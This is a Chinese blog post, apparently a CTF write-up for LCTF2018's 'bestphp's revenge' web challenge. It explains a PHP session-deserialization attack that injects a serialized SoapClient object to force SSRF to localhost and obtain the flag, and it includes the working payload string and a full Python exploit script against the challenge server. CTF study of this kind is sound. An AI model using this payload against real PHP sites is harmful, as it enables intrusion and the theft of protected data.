session反序列化+soap(ssrf+crlf)

出自LCTF2018一道web题:bestphp’s revenge

这道题目还是很有意思的,思路也很清奇。

首先题目给出源码
index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

然后还扫到一个flag.php

1
2
3
4
5
6
7
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

可以看到拿到flag的条件是绕过$_SERVER[“REMOTE_ADDR”]===”127.0.0.1”。
这里可以利用ssrf本地去访问flag.php
这里利用的思路

1
session反序列化->soap(ssrf+crlf)->call_user_func激活soap类

首先构造出session反序列化的条件:利用call_user_func()调用session_start()设置erialize_handler为php_serialize。
因为题目源码中没有可以利用的构造pop链的类,而刚好SOAP的SoapClient类可以用来创建soap数据报文,与wsdl接口进行交互的,达到ssrf的效果。
那么就可以构造soapClient的反序列化(具体参考https://www.anquanke.com/post/id/153065#h2-5[从几道CTF题看SOAP安全问题][1]、[https://xz.aliyun.com/t/2148][2])

1
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'

最后需要再利用第二个call_user_func激活soap类,具体实施是通过变量覆盖利用extract将$b为call_user_func,调用$a中对象,从而触发soap的网络请求。这里数组a中$_SESSION里的数据是soap对象,再经过reset()弹出这个对象成为了$a[0]。

1
2
$_GET = array('f'=>'extract');
$_POST = array('b'=>'call_user_func');

附一payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import re
url = "http://172.81.210.82/"

payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'

r = requests.session()
data = {'serialize_handler' : 'php_serialize'}
url1 = url+"?f=session_start&name="+payload
html = r.post(url1, data=data).text

data = {'b' : "call_user_func"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text

data = {'b' : "var_dump"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text

rs = re.findall(r'string\(26\) "(.*?)"', html)

url2 = url
cookie = {"Cookie":"PHPSESSID="+rs[0]}
html = r.post(url2,headers = cookie).text
print html

资料:LCTF 2018 Writeup – Nu1L

本文标题:session反序列化+soap(ssrf+crlf)

文章作者:boogle

发布时间:2018年11月21日 - 15:06

最后更新:2019年03月07日 - 11:37

原始链接:https://zhengbao.wang/session反序列化-soap-ssrf-crlf/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗